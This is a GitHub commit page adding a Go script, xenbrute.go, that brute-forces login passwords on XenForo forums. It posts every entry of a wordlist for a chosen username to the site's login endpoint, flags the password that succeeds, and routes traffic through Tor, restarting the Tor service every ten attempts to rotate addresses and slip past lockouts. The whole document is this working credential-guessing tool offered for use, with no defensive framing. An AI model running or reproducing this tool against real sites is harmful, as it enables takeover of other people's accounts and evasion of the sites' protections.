Skip to content

Commit ea55e91

Browse files
authored
0.1
1 parent 74fd734 commit ea55e91

File tree

1 file changed

+79
-0
lines changed

1 file changed

+79
-0
lines changed

xenbrute.go

Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
package main
2+
3+
import (
4+
"encoding/json"
5+
"fmt"
6+
"io/ioutil"
7+
"log"
8+
"net/http"
9+
"net/url"
10+
"os"
11+
"os/exec"
12+
"strings"
13+
"time"
14+
15+
"github.com/raifpy/Go/raiFile"
16+
17+
"github.com/raifpy/Go/errHandler"
18+
)
19+
20+
func get(index int, pw string) {
21+
22+
data := url.Values{
23+
"login": {os.Args[2]},
24+
"password": {pw},
25+
"_xfResponseType": {"json"},
26+
}
27+
28+
icerik, err := http.PostForm(os.Args[1]+"/?login/login", data)
29+
if !(errHandler.HandlerBool(err)) {
30+
html, _ := ioutil.ReadAll(icerik.Body)
31+
JsonMap := map[string]interface{}{}
32+
json.Unmarshal(html, &JsonMap)
33+
if ok, _ := JsonMap["status"].(string); ok == "ok" {
34+
if _, vr := JsonMap["html"]; vr == false {
35+
fmt.Printf("\033[32mPW (%d): \033[0m %s\n", index, pw)
36+
errHandler.Handler(exec.Command("notify-send", "Pw Found", "Your fucking pw = "+pw).Start())
37+
} else {
38+
fmt.Println(index, " Attempted | "+pw)
39+
}
40+
} else {
41+
fmt.Println(index, " Attempted | "+pw)
42+
}
43+
44+
}
45+
}
46+
47+
func main() {
48+
// Tor Proxy Ip | local
49+
fmt.Println("\n\t\033[33mBetik\033[0m=\033[32m'Sonu\033[0m\033[33m\\n\033[0m\033[32m'\033[0m | \033[34mxen\033[0m\033[3mBrute\033[0m > \033[5m@\033[0m\033[4mraifpy\033[0m\n") // Benim reklam bu :))
50+
51+
if os.Geteuid() != 0 {
52+
fmt.Println("\tDamn , please run with \033[31msudo\033[0m | Why : 'systemctl restart tor'")
53+
os.Exit(1)
54+
}
55+
if len(os.Args) < 4 {
56+
fmt.Println("XenBrute: XenBrute <url ( http://url.com )> <username> <my/worldlist.txt>")
57+
os.Exit(1)
58+
}
59+
pwlist, err := raiFile.ReadFile(os.Args[3])
60+
errHandler.HandlerExit(err)
61+
pwlistArray := strings.Split(pwlist, "\n")
62+
os.Setenv("HTTP_PROXY", "socks5://127.0.0.1:9050")
63+
64+
var sayi = 0
65+
for index, eleman := range pwlistArray {
66+
if sayi == 10 {
67+
log.Println("Tor refleshing !")
68+
time.Sleep(time.Second * 6)
69+
exec.Command("systemctl", "restart", "tor").Run()
70+
time.Sleep(time.Second * 2)
71+
log.Println("Tor refleshed !")
72+
sayi = 0
73+
}
74+
go get(index, eleman)
75+
sayi++
76+
}
77+
fmt.Println("Waiting ..")
78+
time.Sleep(time.Second * 3)
79+
}

0 commit comments

Comments
 (0)